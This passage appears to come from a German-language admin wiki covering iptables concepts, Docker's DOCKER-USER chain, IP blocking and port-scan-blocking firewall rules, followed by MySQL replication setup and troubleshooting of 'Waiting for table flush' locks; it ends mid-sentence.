3. **Durchlaufender Traffic (Der Server agiert als Router/Gateway):**
    
    
    - Das Paket kommt an der Netzwerkkarte an.
    - Es durchläuft **PREROUTING**.
    - Routing-Entscheidung: "Das Paket ist für eine andere IP-Adresse im Netz bestimmt."
    - Das Paket durchläuft die Kette **FORWARD** (es wird durchgereicht).
    - Das Paket durchläuft **POSTROUTING**.
    - Das Paket verlässt den Server über eine andere (oder dieselbe) Netzwerkkarte.

#### Teil 2: Das iptables-Konzept (Tables, Chains, Rules, Targets)

`iptables` ist hierarchisch aufgebaut. Die Struktur lässt sich wie folgt zusammenfassen:

- Ein **Table** (Tabelle) bestimmt den *Zweck* der Paketverarbeitung (z.B. Filtern vs. Adressübersetzung).
- Ein Table enthält mehrere **Chains** (Ketten), die dem *Zeitpunkt* der Verarbeitung im Paketfluss entsprechen.
- Eine Chain enthält eine Liste von **Rules** (Regeln), die nacheinander von oben nach unten abgearbeitet werden.
- Wenn eine Rule zutrifft, wird ein **Target** (Ziel/Aktion) ausgeführt (z.B. Erlauben oder Blockieren).

##### 1. Tables (Die Tabellen)

Es gibt vier Haupt-Tabellen in `iptables`. Wenn Sie beim Befehl keine Tabelle angeben, wird automatisch die Standardtabelle `filter` verwendet.

- **`filter` (Standard-Tabelle):**
    - **Zweck:** Die eigentliche Firewall. Hier wird entschieden, ob ein Paket durchgelassen oder blockiert wird.
    - **Chains:** `INPUT`, `FORWARD`, `OUTPUT`.
- **`nat` (Network Address Translation):**
    - **Zweck:** IP-Adressen oder Ports umschreiben. Wird für Router, Port-Forwarding (DNAT) oder das Teilen einer Internetverbindung (Masquerading/SNAT) genutzt.
    - **Chains:** `PREROUTING`, `OUTPUT`, `POSTROUTING`.
- **`mangle` (Paketmanipulation):**
    - **Zweck:** Spezielle Modifikationen am IP-Header (z.B. Ändern der "Time to Live" (TTL) oder Markieren von Paketen für spezielles Routing).
    - **Chains:** Alle 5 Chains (`PREROUTING`, `INPUT`, `FORWARD`, `OUTPUT`, `POSTROUTING`).
- **`raw` (Rohdaten-Verarbeitung):**
    - **Zweck:** Pakete von der Verbindungsverfolgung (Connection Tracking / `conntrack`) ausschließen. Sehr selten benötigt, meist zur Performance-Optimierung bei DDoS-Angriffen.
    - **Chains:** `PREROUTING`, `OUTPUT`.

---

##### 2. Chains (Die Ketten)

Chains entsprechen den Stationen im Netzwerkfluss (siehe Diagramm oben). Es gibt vordefinierte (eingebaute) Chains und Sie können eigene, benutzerdefinierte Chains erstellen.

Die 5 Standard-Chains sind:

1. **`PREROUTING`:** Greift, sobald ein Paket die Netzwerkkarte betritt – *bevor* das System entscheidet, wohin das Paket geroutet wird.
2. **`INPUT`:** Greift für Pakete, die direkt an Ihren Server gerichtet sind.
3. **`FORWARD`:** Greift für Pakete, die den Server nur passieren (Routing/Gateway).
4. **`OUTPUT`:** Greift für Pakete, die von Ihrem Server selbst generiert wurden.
5. **`POSTROUTING`:** Greift kurz vor dem Verlassen der Netzwerkkarte – *nachdem* das Routing bereits stattgefunden hat.

---

##### 3. Rules (Die Regeln)

Eine Regel besteht aus zwei Teilen: den **Bedingungen** (Matches) und der **Aktion** (Target).

Wenn ein Paket eine Kette durchläuft, prüft `iptables` die Regeln von oben nach unten. Sobald eine Regel komplett auf das Paket zutrifft, wird die zugehörige Aktion ausgeführt und die Suche in dieser Kette ist in der Regel beendet.

#### Wichtige Parameter zum Erstellen von Bedingungen (Matches):

- `-p` (Protocol): Welches Protokoll? (z.B. `tcp`, `udp`, `icmp`).
- `-s` (Source): Woher kommt das Paket? (IP-Adresse oder Subnetz, z.B. `192.168.1.50` oder `192.168.1.0/24`).
- `-d` (Destination): Wohin geht das Paket? (z.B. IP des Servers).
- `--sport` / `--dport` (Source-/Destination-Port): Welcher Port? (z.B. `--dport 22` für SSH oder `--dport 80` für HTTP). *Hinweis: Erfordert immer die vorherige Angabe des Protokolls mit `-p`.*
- `-i` (Input-Interface): Über welche Netzwerkkarte kommt das Paket rein? (z.B. `-i eth0`).
- `-o` (Output-Interface): Über welche Netzwerkkarte geht das Paket raus? (z.B. `-o wlan0`).
- `-m state` / `-m conntrack` (Verbindungszustand): Ist das Paket Teil einer bekannten Verbindung? (z.B. `--state ESTABLISHED,RELATED`).

---

##### 4. Targets (Die Ziele / Aktionen)

Das Target bestimmt, was mit dem Paket passiert, wenn die Bedingungen einer Regel erfüllt sind. Man gibt es mit dem Parameter `-j` (Jump) an.

##### Die wichtigsten **beendenden** Targets (das Paket verlässt die Kette):

- **`ACCEPT`:** Das Paket wird durchgelassen. Die Verarbeitung in dieser Kette stoppt.
- **`DROP`:** Das Paket wird wortlos verworfen. Der Absender erhält keine Rückmeldung und läuft in einen Timeout (sicherste Methode für das Internet).
- **`REJECT`:** Das Paket wird abgewiesen, aber der Absender erhält eine Fehlermeldung (z.B. eine ICMP "Port Unreachable"-Nachricht). Sinnvoll in internen Netzen zur schnellen Fehlersuche.

##### Wichtige **nicht-beendende** oder spezielle Targets:

- **`LOG`:** Das Paket wird im Kernel-Log protokolliert (meist einsehbar via `dmesg` oder `/var/log/syslog`), danach wird die nächste Regel in der Kette geprüft.
- **`MASQUERADE`:** (Nur in der `nat`-Tabelle) Ersetzt die private Absender-IP durch die öffentliche IP der ausgehenden Schnittstelle (praktisch bei dynamischen IPs).
- **`SNAT` (Source NAT):** (Nur in der `nat`-Tabelle) Ändert die Quell-IP-Adresse des Pakets auf einen festen Wert.
- **`DNAT` (Destination NAT):** (Nur in der `nat`-Tabelle) Ändert die Ziel-IP-Adresse des Pakets (wichtig für Portweiterleitungen).

#### Praktisches Beispiel zum Verständnis

Nehmen wir an, Sie möchten Ihren SSH-Port (Port 22) für alle sperren, außer für Ihren administrativen PC mit der IP `192.168.1.100`.

Der Befehl dafür sieht so aus:

<div class="copy-code-wrap" id="bkmrk--4"><div class="copy-code-button-wrapper">  
</div></div>```bash
# 1. Erlaube SSH-Verbindungen von der Admin-IP
iptables -A INPUT -p tcp -s 192.168.1.100 --dport 22 -j ACCEPT

# 2. Verbiete SSH-Verbindungen für alle anderen IPs
iptables -A INPUT -p tcp --dport 22 -j DROP

```

**Erklärung des ersten Befehls:**

- `iptables`: Das Programm aufrufen.
- `-A INPUT`: Hänge die Regel an (**A**ppend) das Ende der Kette **INPUT** (in der Standardtabelle `filter`).
- `-p tcp`: Betrifft nur das Protokoll **TCP**.
- `-s 192.168.1.100`: Betrifft nur diese Quell-IP (**S**ource).
- `--dport 22`: Betrifft nur den Ziel-Port (**D**estination Port) 22.
- `-j ACCEPT`: Wenn all das zutrifft, springe (**J**ump) zur Aktion **ACCEPT** (erlauben).

**Reihenfolge ist entscheidend:** Würde man zuerst den `DROP`-Befehl für alle und danach erst den `ACCEPT`-Befehl für die Admin-IP eingeben, würde die Admin-IP ebenfalls blockiert. Da `iptables` die Regeln von oben nach unten abarbeitet, trifft beim Admin sofort die erste Regel ("Sperre Port 22 für alle") zu, und das Paket wird verworfen. Die zweite Regel würde nie erreicht werden.

#### Wie funktionieren Custom Chains?

Zusätzliche Ketten (sogenannte **Custom Chains** oder benutzerdefinierte Ketten) wie `DOCKER-USER`, `DOCKER-FORWARD` oder `DOCKER-ISOLATION` <span style="text-decoration: underline;">**werden nicht automatisch abgearbeitet**</span>.

Der Linux-Kernel kennt von Natur aus nur die 5 eingebauten Standard-Ketten (`INPUT`, `OUTPUT`, `FORWARD`, `PREROUTING`, `POSTROUTING`). Ein Paket landet niemals "einfach so" in einer benutzerdefinierten Kette.

Eine benutzerdefinierte Kette funktioniert wie ein **Unterprogramm** (eine Funktion) in einer Programmiersprache. Sie muss explizit aus einer der Standard-Ketten heraus aufgerufen werden.

Dies geschieht über den Ihnen bereits bekannten Parameter **`-j` (Jump)**.

#### Das Prinzip des "Sprungs" (Jump &amp; Return)

Wenn ein Paket die Kette `FORWARD` durchläuft, sieht die Auswertung so aus:

1. **`FORWARD` Regel 1:** Trifft Bedingung X zu? Wenn ja, springe (`-j`) in die Kette `DOCKER-USER`. 
    - *Jetzt wird die Kette `DOCKER-USER` von oben nach unten abgearbeitet.*
    - Wenn dort eine Regel mit `ACCEPT` oder `DROP` greift, ist das Schicksal des Pakets besiegelt.
    - Wenn **keine** Regel zutrifft (oder eine Regel mit `-j RETURN` greift), springt das Paket **zurück** in die `FORWARD`-Kette zur Regel 2.
2. **`FORWARD` Regel 2:** Springe in die Kette `DOCKER-FORWARD`. 
    - Das Paket durchläuft `DOCKER-FORWARD`.
    - Wenn kein Treffer: Zurück zu `FORWARD` Regel 3.
3. **`FORWARD` Regel 3:** ... und so weiter.

#### Die konkrete Reihenfolge bei Docker

Docker nutzt dieses Prinzip intensiv, um den Netzwerkverkehr für Container zu regeln. Da Container-Traffic in der Regel durch den Host hindurchgeroutet wird, findet fast die gesamte Docker-Magie in der Standard-Kette **`FORWARD`** statt.

Wenn Sie Docker installieren, klinkt es sich in die `FORWARD`-Kette ein und baut folgende Reihenfolge auf:

<div class="copy-code-wrap" id="bkmrk--5"><div class="copy-code-button-wrapper">  
</div></div>```text
Eingehendes Paket im FORWARD-Prozess
   │
   ▼
1. [ Sprung zu DOCKER-USER ] ────────► Hier liegen IHRE benutzerdefinierten Regeln.
   │ (Falls kein Treffer, zurück)       (z. B. "Blockiere IP X, die auf Container zugreift")
   ▼
2. [ Sprung zu DOCKER-FORWARD ] ─────► Docker prüft erste Routing- und Basisregeln.
   │ (Falls kein Treffer, zurück)
   ▼
3. [ RELATED,ESTABLISHED ACCEPT ] ───► Ist das Paket Teil einer bereits erlaubten, 
   │                                   bestehenden Verbindung? Wenn ja: ACCEPT (Erlauben).
   ▼
4. [ Sprung zu DOCKER ] ─────────────► Hier liegen die Regeln für Port-Weiterleitungen.
   │ (Falls kein Treffer, zurück)       (z.B. "Darf Traffic auf Port 80 des Containers?")
   ▼
5. [ Container ausgehend/intern ] ───► Regeln, die bestimmen, ob Container ins Internet
   │                                   dürfen oder untereinander kommunizieren dürfen.
   ▼
6. [ Default Policy: DROP ] ─────────► Wenn bis hierhin kein "ACCEPT" kam, wird das Paket
                                       vom System weggeworfen.

```

*(Hinweis: Je nach Docker-Version und Betriebssystem können die Ketten minimal anders heißen, z. B. `DOCKER-ISOLATION-STAGE-1` anstelle von `DOCKER-FORWARD`, das logische Prinzip bleibt aber exakt dasselbe.)*

#### Warum macht Docker das so? (Das `DOCKER-USER`-Geheimnis)

Ein häufiges Problem bei Docker-Anfängern ist folgendes Szenario: Sie starten einen Container und geben einen Port frei (z. B. `-p 80:80`). Danach versuchen sie, diesen Port über die normale `INPUT`-Kette der Firewall zu sperren. **Das funktioniert nicht!** Da der Traffic für den Container bestimmt ist, läuft er nicht über `INPUT`, sondern über `FORWARD`.

Wenn Sie nun einfach eine Sperre ans Ende der `FORWARD`-Kette hängen würden, würde diese ebenfalls ignoriert. Warum? Weil Docker weiter oben in der Kette (im Schritt 4 bei `DOCKER`) das Paket bereits mit `ACCEPT` durchgelassen hat. Sobald ein Paket ein `ACCEPT` erhält, ist die Prüfung beendet und spätere Regeln werden ignoriert.

**Die Lösung von Docker:** Docker hat ganz oben als allererste Regel in der `FORWARD`-Kette den Sprung nach **`DOCKER-USER`** eingebaut.

- Docker selbst fasst diese Kette niemals an.
- Sie ist exakt dafür da, dass **Sie als Admin** dort Regeln eintragen können.
- Da diese Kette ganz am Anfang geprüft wird, können Sie hier unerwünschten Traffic blockieren (`DROP`), *bevor* die automatischen Erlaubnis-Regeln von Docker überhaupt greifen.

##### Beispiel: Eine IP in Docker-User sperren

Wenn Sie die bösartige IP `203.0.113.50` komplett von Ihren Docker-Containern aussperren wollen, schreiben Sie:

<div class="copy-code-wrap" id="bkmrk--6"><div class="copy-code-button-wrapper">  
</div></div>```bash
iptables -I DOCKER-USER -s 203.0.113.50 -j DROP

```

<p class="callout info">*Hinweis: Das `-I` steht für **I**nsert. Es fügt die Regel ganz oben als Regel Nr. 1 in die `DOCKER-USER`-Kette ein.*</p>

# Block IPs

#### **Eine einzelne IP blockieren**

```bash
sudo iptables -A INPUT -s 192.168.1.100 -j DROP

```

- `-A INPUT` → Regel zur Eingangs-Kette hinzufügen
- `-s 192.168.1.100` → Quelle (die zu blockierende IP)
- `-j DROP` → Pakete einfach verwerfen (keine Antwort)

---

#### **IP komplett sperren (ein- und ausgehend)**

```bash
sudo iptables -A INPUT -s 192.168.1.100 -j DROP
sudo iptables -A OUTPUT -d 192.168.1.100 -j DROP

```

---

#### **Statt DROP: aktiv ablehnen (REJECT)**

```bash
sudo iptables -A INPUT -s 192.168.1.100 -j REJECT

```

- `DROP` → keine Antwort (wirkt wie "unsichtbar")
- `REJECT` → sendet Fehlermeldung zurück

---

#### **Regel überprüfen**

```bash
sudo iptables -L -n

```

---

#### **Regeln dauerhaft speichern**

Je nach System:

- **Debian/Ubuntu:**

```bash
sudo apt install iptables-persistent
sudo netfilter-persistent save

```

- **CentOS/RHEL:**

```bash
sudo service iptables save

```

---

#### **Regel wieder entfernen**

```bash
sudo iptables -D INPUT -s 192.168.1.100 -j DROP

```

#### **Gezieltes Entfernen per Zeilennummer**

```bash
iptables -L --line-numbers | grep <IP>
iptables -D <CHAIN> <Zeilennummer>
```

# Block IPs /Docker

**Docker umgeht teilweise die normalen iptables-Regeln**, weil es eigene Regeln und Chains anlegt.

---

Docker setzt eigene Chains wie:

- `DOCKER`
- `DOCKER-USER`

👉 Traffic zu Containern wird oft **vor den normalen INPUT-Regeln verarbeitet**.

Deshalb greifen die Block-Regeln nicht wie erwartet.

---

### Die Lösung: `DOCKER-USER` Chain nutzen

Docker hat extra eine Chain vorgesehen, damit man genau sowas machen kannst:

```bash
sudo iptables -I DOCKER-USER -s 192.168.1.100 -j DROP

```

👉 Wichtig:

- `-I` (insert) statt `-A`, damit die Regel **ganz oben** landet
- Diese Chain wird **immer vor Docker-Regeln ausgewertet**

---

# iptables Regeln dauerhaft speichern

iptables-Regeln sind standardmäßig **temporär** und gehen nach einem Neustart des Servers verloren.

- **Unter Debian / Ubuntu:** Installiere das Paket `iptables-persistent` :
    
    <div class="copy-code-wrap"><div class="copy-code-button-wrapper">  
    </div></div>```bash
    sudo apt-get install iptables-persistent
    
    ```
    
    Nach dem Ändern von Regeln speicherst du sie mit:
    
    <div class="copy-code-wrap"><div class="copy-code-button-wrapper">  
    </div></div>```bash
    sudo netfilter-persistent save
    
    ```
- **Unter CentOS / RHEL / Rocky Linux:**
    
    <div class="copy-code-wrap"><div class="copy-code-button-wrapper">  
    </div></div>```bash
    sudo service iptables save
    ```

# Regeln gegen PortScans

####  

Diese vier `iptables`-Befehle dienen der Absicherung des Servers gegen unübliche Netzwerkpakete. Sie werden häufig eingesetzt, um **Port-Scans** (Sondierungen durch Angreifer) zu erkennen, zu protokollieren (loggen) und zu blockieren.

#### 1. Null-Scan-Erkennung und Ratenbegrenzung

<div class="copy-code-wrap" id="bkmrk-"><div class="copy-code-button-wrapper">  
</div></div>```bash
iptables -A INPUT -p tcp --tcp-flags ALL NONE -m limit --limit 1/h -j ACCEPT

```

- **`-A INPUT`**: Hängt die Regel an die `INPUT`-Kette an (gilt für alle eingehenden Pakete).
- **`-p tcp`**: Filtert nur den TCP-Netzwerkverkehr.
- **`--tcp-flags ALL NONE`**: Überprüfe alle TCP-Flags (SYN, ACK, FIN, RST, URG, PSH), aber keines davon darf gesetzt sein (`NONE`). Ein TCP-Paket ohne jegliche Flags ist laut Netzwerkstandard (RFC) ungültig. Angreifer nutzen dies für einen sogenannten **„Null-Scan“**, um offene Ports zu finden.
- **`-m limit --limit 1/h`**: Nutzt das Limit-Modul. Diese Regel greift nur maximal **1-mal pro Stunde** (`1/h`).
- **`-j ACCEPT`**: Lässt das Paket durch (erlaubt es).
- **Sinn dieser Regel:** Sie erlaubt maximal ein einziges solches "Null-Scan"-Paket pro Stunde (z. B. für legitime Messungen oder Toleranz bei Übertragungsfehlern). Alle weiteren Null-Scan-Pakete, die innerhalb dieser Stunde eintreffen, ignorieren diese Regel und fallen in der Firewall-Liste weiter nach unten, wo sie in der Regel durch eine allgemeine BLOCK-Regel blockiert werden.

---

#### 2. Xmas-Scan-Erkennung und Ratenbegrenzung

<div class="copy-code-wrap" id="bkmrk--2"><div class="copy-code-button-wrapper">  
</div></div>```bash
iptables -A INPUT -p tcp --tcp-flags ALL ALL -m limit --limit 1/h -j ACCEPT

```

- **`--tcp-flags ALL ALL`**: Überprüfe alle TCP-Flags, und **alle** müssen gleichzeitig gesetzt sein (`ALL`). Ein Paket, bei dem alle Flags aktiv sind, ist im normalen Netzwerkverkehr unmöglich. Man nennt dies einen **„Xmas-Scan“** (Weihnachtsbaum-Scan), weil das Paket quasi „wie ein Weihnachtsbaum leuchtet“. Auch dies wird von Angreifern zur Erkennung des Betriebssystems oder offener Ports genutzt.
- **`-m limit --limit 1/h -j ACCEPT`**: Wie beim ersten Befehl wird auch hier maximal 1 solches Paket pro Stunde akzeptiert, um Fehlalarme oder minimale Tests zuzulassen. Der Rest wird durch nachfolgende Regeln blockiert.

---

#### 3. Ungültige Verbindungsaufbaue protokollieren (Loggen)

<div class="copy-code-wrap" id="bkmrk--4"><div class="copy-code-button-wrapper">  
</div></div>```bash
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j LOG --log-prefix "Stealth Scan"

```

- **`! --syn`**: Das Ausrufezeichen steht für eine Verneinung (NOT). Es bedeutet: Das TCP-Paket hat das `SYN`-Flag **nicht** gesetzt.
- **`-m state --state NEW`**: Das Paket versucht laut Verbindungsverfolgung (Connection Tracking) eine **neue** (`NEW`) Verbindung aufzubauen.
- **Sinn dieser Kombination:** Ein regulärer, legaler TCP-Verbindungsaufbau (Three-Way-Handshake) **muss** zwingend mit einem `SYN`-Paket beginnen. Wenn ein Paket eine neue Verbindung anfordert (`NEW`), aber kein `SYN`-Flag trägt (`! --syn`), ist das technisch unmöglich und deutet stark auf einen Port-Scan (z. B. FIN- oder ACK-Scan) oder einen Angriffsversuch hin.
- **`-j LOG --log-prefix "Stealth Scan"`**: Dieses Paket wird nicht blockiert, sondern im System-Log (meist `/var/log/messages` oder `dmesg`) mit dem Präfix „Stealth Scan“ protokolliert, damit der Administrator den Angriffsversuch nachvollziehen kann.

---

#### 4. Ungültige Verbindungsaufbaue blockieren (Droppen)

<div class="copy-code-wrap" id="bkmrk--6"><div class="copy-code-button-wrapper">  
</div></div>```bash
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP

```

- **Match-Kriterien (identisch zu Befehl 3):** Es sucht wieder nach TCP-Paketen, die eine neue Verbindung aufbauen wollen, ohne das `SYN`-Flag zu besitzen.
- **`-j DROP`**: Dieses Paket wird sofort und kommentarlos verworfen (gelöscht).
- **Zusammenspiel mit Befehl 3:** Diese beiden Befehle (3 und 4) werden in genau dieser Reihenfolge hintereinander in die Firewall eingepflegt. Dadurch wird das verdächtige Paket zuerst registriert und im Logbuch vermerkt (Befehl 3) und direkt im nächsten Schritt blockiert (Befehl 4).

#### Hier nochmal zusammengefaßt

```bash
iptables -A INPUT -p tcp --tcp-flags ALL NONE -m limit --limit 1/h -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL ALL -m limit --limit 1/h -j ACCEPT
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j LOG --log-prefix "Stealth Scan: "
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
```

# MySQL

# DB-Replikation

## Einrichtung

### Master

1. MySQL Konfigurationsdatei anpassen:

```bash
[mysqld]
server-id = <eindeutige ID zB 10>
log-bin = mysql-bin
binlog-format = ROW

```

2. Neustarten des MySQL-Dienstes auf dem Master-Server
3. Benutzer für die Replikation erstellen und Berechtigungen erteilen:

```sql
CREATE USER 'replica_user'@'%' IDENTIFIED BY 'secure_password';
GRANT REPLICATION SLAVE ON *.* TO 'replica_user'@'%';
FLUSH PRIVILEGES;

```

4. Erstellen eines Snapshot-Backups:  
    Dies ist notwendig, um sicherzustellen, dass der Slave-Server mit den aktuellen Daten startet.

```sql
FLUSH TABLES WITH READ LOCK;
SHOW MASTER STATUS;
-- Notieren Sie sich den Wert von 'File' und 'Position' 
-- für die spätere Verwendung auf dem Slave-Server.

```

<p class="callout info">==&gt; Backup erstellen (mysqldump) und auf dem Slave-Server ablegen.</p>

 5. Tabellen wieder entsperren:

```sql
UNLOCK TABLES;

```

### Slave

1. MySQL Konfigurationsdatei anpassen:

```bash
[mysqld]
server-id = <eindeutige ID zB 11>
relay-log = mysql-relay-bin

```

2. Neustarten des MySQL-Dienstes auf dem Slave-Server
3. <p class="callout info">Datenbank-Dump auf dem Slave-Server importieren</p>
4. Slave-Server konfigurieren, um mit dem Master zu synchronisieren:

```sql
CHANGE MASTER TO
    MASTER_HOST='master_host_ip',
    MASTER_USER='replica_user',
    MASTER_PASSWORD='secure_password',
    MASTER_LOG_FILE='mysql-bin.000001', -- Wert von SHOW MASTER STATUS
    MASTER_LOG_POS=1234; -- Wert von SHOW MASTER STATUS

```

5. Replikation starten:

```sql
START SLAVE;

```

6. Status der Replikation überprüfen:

```sql
SHOW SLAVE STATUS\G;

```

# Prozesse mit bestimmtem 'state' killen

### Bash-Einzeiler (auf der Linux-Konsole)

Wenn du SSH-Zugriff auf den Server oder den MySQL-Client hast, kannst du die Prozess-IDs mit `awk` auslesen und direkt zurück an MySQL zum Beenden pipe-en:

```bash
mysql -e "SELECT id FROM information_schema.processlist WHERE state = 'Waiting for table flush';" \
  | awk '{if(NR>1) print "KILL "$1";"}' \
  | mysql
```

```bash
mysql -e "SELECT id FROM information_schema.processlist WHERE state = 'User Sleep';" \
  | awk '{if(NR>1) print "KILL "$1";"}' \
  | mysql
```

### `pt-kill` (Der professionelle Weg für Produktion)

In Produktionsumgebungen ist **`pt-kill`** (aus dem Percona Toolkit) der sicherste Standard. Es beendet gezielt nur Prozesse, die Kriterien wie den Status erfüllen:

```bash
pt-kill --match-state "Waiting for table flush" --kill --victim-order oldest --interval 5
```

- **`--kill`**: Beendet die Verbindungen.
- **`--print`** (optional statt `--kill`): Zeigt zuerst nur an, was gelöscht werden würde, ohne es auszuführen.

# Waiting for table flush

Der Status **`Waiting for table flush`** entsteht meistens durch ein klassisches **Henne-Ei-Problem** im MySQL-Query-Locking: Ein Prozess fordert das Schließen/Leeren der Tabellencaches an (z. B. ein Backup, `FLUSH TABLES`, `ALTER TABLE` oder `ANALYZE TABLE`), wird aber selbst von einer lang laufenden `SELECT`-Query blockiert. Alle *darauffolgenden* Abfragen auf diese Tabelle müssen dann im Status `Waiting for table flush` warten.

Hier ist die Schritt-für-Schritt-Anleitung zur Ursachenforschung und Prävention:

### 1. Die genaue Ursache ermitteln

Um den "Übeltäter" (den Blocker) zu finden, musst du die Kette der abhängigen Abfragen analysieren.

#### Schritt A: Langläufer identifizieren (`SHOW FULL PROCESSLIST`)

Führe folgenden Befehl aus:

<div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-38 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQzQE" decode-data-ved="1" id="bkmrk-sql" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-38"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-38"><div _ngcontent-ng-c1911328046="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c1911328046-38 ng-star-inserted"><span class="ng-tns-c1911328046-38">SQL</span><div _ngcontent-ng-c1911328046="" class="buttons ng-tns-c1911328046-38 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```mysql
SELECT ID, USER, HOST, DB, COMMAND, TIME, STATE, INFO 
FROM information_schema.PROCESSLIST 
WHERE COMMAND != 'Sleep' 
ORDER BY TIME DESC;

```

<div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-38 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQzQE" decode-data-ved="1" id="bkmrk--1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-38"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-38"></div></div></div>**Wonach du suchen musst:**

1. **Der Flush-Auslöser:** Suche nach Abfragen mit `FLUSH TABLES`, `ALTER TABLE`, `RENAME TABLE`, `OPTIMIZE TABLE` oder `ANALYZE TABLE`. Diese haben oft eine moderate `TIME`.
2. **Der eigentliche Blocker:** Suche nach **sehr alten `SELECT`**-Abfragen (hohe `TIME`), die **vor** dem Flush gestartet wurden. Das sind häufig schlechte Queries ohne passenden Index oder ungeschlossene Transaktionen.

#### Schritt B: Exakte Sperren über das Performance Schema auslesen

Falls MySQL 5.7/8.0+ im Einsatz ist, zeigt dir das `performance_schema` genau, welcher Prozess auf welche Metadata Lock (MDL) wartet:

<div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-39 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQzgE" decode-data-ved="1" id="bkmrk-sql-1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-39"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-39"><div _ngcontent-ng-c1911328046="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c1911328046-39 ng-star-inserted"><span class="ng-tns-c1911328046-39">SQL</span><div _ngcontent-ng-c1911328046="" class="buttons ng-tns-c1911328046-39 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```mysql
SELECT 
    waiting_p.ID AS waiting_thread_id,
    waiting_p.INFO AS waiting_query,
    blocking_p.ID AS blocking_thread_id,
    blocking_p.INFO AS blocking_query
FROM performance_schema.metadata_locks waiting_ml
JOIN information_schema.PROCESSLIST waiting_p 
    ON waiting_ml.OWNER_THREAD_ID = waiting_p.ID
JOIN performance_schema.metadata_locks blocking_ml 
    ON waiting_ml.OBJECT_SCHEMA = blocking_ml.OBJECT_SCHEMA 
    AND waiting_ml.OBJECT_NAME = blocking_ml.OBJECT_NAME
JOIN information_schema.PROCESSLIST blocking_p 
    ON blocking_ml.OWNER_THREAD_ID = blocking_p.ID
WHERE waiting_p.STATE = 'Waiting for table flush'
  AND blocking_p.ID != waiting_p.ID;

```

<div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-39 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQzgE" decode-data-ved="1" id="bkmrk--3" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-39"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-39"></div></div></div>### 2. Typische Ursachen &amp; wie man sie behebt

#### Ursache 1: Automatische Backups (`mysqldump` / `mariadb-dump`)

Klassischer Auslöser: Ein Backup-Job führt `FLUSH TABLES WITH READ LOCK` aus. Wenn parallel eine lange `SELECT`-Abfrage läuft, blockiert das Backup alle schreibenden und lesenden Zugriffe.

- **Lösung (InnoDB):** Verwende bei `mysqldump` immer das Flag `--single-transaction`. Dadurch wird die Tabelle nicht mehr global gesperrt:
    
